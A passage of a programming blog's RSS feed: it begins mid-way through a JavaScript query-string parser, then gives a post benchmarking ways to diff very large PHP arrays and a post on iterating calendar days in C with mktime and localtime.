var qs = url.indexOf(&quot;?&quot;);
    if(qs==-1) return [];
    var fr = url.indexOf(&quot;#&quot;);
    var q=&quot;&quot;;
    q = (fr==-1)? url.substr(qs+1) : url.substr(qs+1, fr-qs-1);
var parts=q.split(&quot;&amp;&quot;);
var vars={};
for(var i=0;i&lt;parts.length; i++){
var p = parts[i].split(&quot;=&quot;);
        if(p[1]){
vars[decodeURIComponent(p[0])] = decodeURIComponent(p[1]);
        }else{
            vars[decodeURIComponent(p[0])] = &quot;&quot;;
        }
}
// vars contain all the variables in an array.
return vars;
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://shiplu.mokadd.im/61/parse-query-string-by-pure-javascrirpt/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Fastest way to find difference of very large PHP arrays</title>
		<link>http://shiplu.mokadd.im/36/fastes-way-to-find-difference-of-very-large-php-arrays/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=fastes-way-to-find-difference-of-very-large-php-arrays</link>
		<comments>http://shiplu.mokadd.im/36/fastes-way-to-find-difference-of-very-large-php-arrays/#comments</comments>
		<pubDate>Thu, 12 Jan 2012 12:36:44 +0000</pubDate>
		<dc:creator>shiplu</dc:creator>
				<category><![CDATA[Performance optimization]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[arrays]]></category>
		<category><![CDATA[array_diff]]></category>
		<category><![CDATA[array_flip]]></category>
		<category><![CDATA[comparison]]></category>
		<category><![CDATA[optimization]]></category>
		<category><![CDATA[performance]]></category>

		<guid isPermaLink="false">http://shiplu.mokadd.im/?p=36</guid>
		<description><![CDATA[You have 2 arrays and you want to find the differences. How do you do that? Using array_diff. Obviously using array_diff. But array_diff works well on small arrays. How about large arrays. Say arrays with elements more than 2 millions! &#8230; <a href="http://shiplu.mokadd.im/36/fastes-way-to-find-difference-of-very-large-php-arrays/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>You have 2 arrays and you want to find the differences. How do you do that?</p>
<p>Using <a href="http://php.net/array_diff">array_diff</a>. Obviously using array_diff. But array_diff works well on small arrays. How about large arrays. Say arrays with elements more than 2 millions! If you ever have to find array difference in php for large array you&#8217;d find array_diff is painfully slow. Today I had to do the same thing.</p>
<p>I had 2 arrays of integers. In fact they are mobile numbers. I needed to find the difference of these 2 lists. Each list contained almost 2.5 millions of element. When I invoke the <strong>array_dif solution it took more than 20 minutes</strong>. And then I had to press <strong>Ctrl+C</strong>. As I am working with large arrays, I was equipped with huge memory. I started php with <strong>4 gigabytes</strong> of memory. So the following option.</p>
<pre class="brush: bash; title: Sample Code; notranslate">
 php -d memory_limit=4G
</pre>
<p>So I thought to improve it a little. I flip both arrays and find differneces using <a href="http://php.net/array_diff_key">array_diff_key</a>. It took about <strong>10 seconds</strong>. What a surprise.  Why it took so little time? Because flipping an array made its values as keys. So earlier when I was searching for values, it becomes a search for keys. And keys are hash now. Searching hash is not a big deal. So the speed boost. Here is the code.</p>
<pre class="brush: php; title: Sample Code; notranslate">
function flip_array_diff_key($b, $a) {
$at = array_flip($a);
$bt = array_flip($b);
$d = array_diff_key($bt, $at);
return array_keys($d);
}
</pre>
<p>Its a small function. Only problem is I had to call array_* functions too many times.  So I modified it a little. I flipped both arrays as I had to use array_diff_keys function. If I hadn&#8217;t used array_diff_keys  may be I&#8217;d do this,</p>
<pre class="brush: php; title: Sample Code; notranslate">
function flip_isset_diff($b, $a) {
$at = array_flip($a);
$d = array();
foreach ($b as $i)
if (!isset($at[$i]))
$d[] = $i;
return $d;
}
</pre>
<p>See, Its just one call to array_flip.</p>
<p>And here is a complete custom way to achieve this.</p>
<pre class="brush: php; title: Sample Code; notranslate">
function large_array_diff($b, $a) {
$at = array();
foreach ($a as $i)
$at[$i] = 1;

$d = array();

foreach ($b as $i)
if (!isset($at[$i]))
$d[] = $i;

return $d;
}
</pre>
<p>I create a <a title="See the Benchmark script source" href="http://shiplu.mokadd.im/wp-content/uploads/2012/01/diff-la.txt">benchmark script</a> to compare all these methods. When I run it the result was a surprise.</p>
<pre>----------------------------------------------------
Name                            Execution Time (sec)
----------------------------------------------------
----------------------------------------------------
Complete Custom                 7.122
----------------------------------------------------
Flip one and isset              5.450
----------------------------------------------------
Flip both and array_diff_key    9.915
----------------------------------------------------</pre>
<p>I thought using array_* would be the fastest as I was using all PHPs native extensions. But no Its the <strong>slowest</strong>. The solution with one single call to array_filp seems the <strong>fastest</strong>. And surprisingly the complete custom solution is in the middle while It seems it&#8217;d be slowest.</p>
<p>In the conclusion I&#8217;d say, try to use as much as language construct as possible. But when It comes to a time consuming function use a native extension.</p>
]]></content:encoded>
			<wfw:commentRss>http://shiplu.mokadd.im/36/fastes-way-to-find-difference-of-very-large-php-arrays/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Iterate through each valid calendar days</title>
		<link>http://shiplu.mokadd.im/18/interate-through-each-valid-calendar-days/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=interate-through-each-valid-calendar-days</link>
		<comments>http://shiplu.mokadd.im/18/interate-through-each-valid-calendar-days/#comments</comments>
		<pubDate>Sun, 25 Dec 2011 21:56:09 +0000</pubDate>
		<dc:creator>shiplu</dc:creator>
				<category><![CDATA[C]]></category>
		<category><![CDATA[Core]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[date]]></category>
		<category><![CDATA[epoch]]></category>
		<category><![CDATA[gmtime]]></category>
		<category><![CDATA[localtime]]></category>
		<category><![CDATA[mktime]]></category>
		<category><![CDATA[time]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://shiplu.mokadd.im/?p=18</guid>
		<description><![CDATA[If you develop software like me, you may face a scenario where you need to iterate through calendar days.  These are specially needed in event management application or any other application that has some sorts of daily tracker. The main &#8230; <a href="http://shiplu.mokadd.im/18/interate-through-each-valid-calendar-days/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>If you develop software like me, you may face a scenario where you need to iterate through calendar days.  These are specially needed in event management application or any other application that has some sorts of daily tracker. The main point is you want to iterate through dates.</p>
<p>For example, If the current date is &#8220;February 28th 2001&#8243;, next date will be  &#8220;March 1st 2001&#8243;. Obviously not &#8220;February 29th 2001&#8243;. If the current date is &#8220;February 28th 2004&#8243;, next date will be &#8220;February 29th 2004&#8243;, Not &#8220;March 1st 2004&#8243;.  Yes, that&#8217;s quite tricky.  So how do you achieve it in programming?</p>
<p>The solution is to use <em>time</em> function families found in standard C header file <em>time.h</em>. The main idea is to first create the time you want to show by <em>mktime()</em>. This is the initial time. To advance to the next day/hour/min/sec/month just convert the resultant value of <em>mktime()</em> to <em>struct tm</em> structure by <em>localtime()</em> or <em>gmtime()</em>. Then add 1 day/hour/min/sec/month to <em>struct tm</em> structure. Use this structure to create time again by <em>mktime()</em>.</p>
<p>The above strategy works because of the following lines from <a title="UNIX man pages : mktime (3)" href="http://compute.cnr.berkeley.edu/cgi-bin/man-cgi?mktime" target="_blank">manual</a>.</p>
<pre style="padding-left: 60px;">     In addition to computing the calendar time, mktime() normal-
     izes  the  supplied tm structure. The original values of the
     tm_wday and tm_yday components of the structure are ignored,
     and the original values of the other components are not res-
     tricted to the ranges indicated in  the  definition  of  the
     structure</pre>
<p>Here is a sample code that iterates through the first 200 dates from <a href="http://en.wikipedia.org/wiki/Unix_time" target="_blank">epoch</a>.</p>
<pre class="brush: cpp; title: Sample Code; notranslate">

#include &lt;time.h&gt;;
#include &lt;stdio.h&gt;;

int main(){
    struct tm *lt;
    int i=200;
    time_t t=1;  // first second on epoch

    while(i--){
        lt = localtime(&amp;t);
        printf(&quot;%s\n&quot;, asctime(lt));
        lt-&gt;tm_hour+=24; // adding 1 day = 24 hours
        t = mktime(lt);
    }
    return 0;
}
</pre>
<p>If you are working with other language you may wonder if this will apply to your language. The good news is most language has wrapper for C routines.  May be the name is different. But  most probably you have it. Just see the manual.  Same technique will work on other language too.</p>
]]></content:encoded>
			<wfw:commentRss>http://shiplu.mokadd.im/18/interate-through-each-valid-calendar-days/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

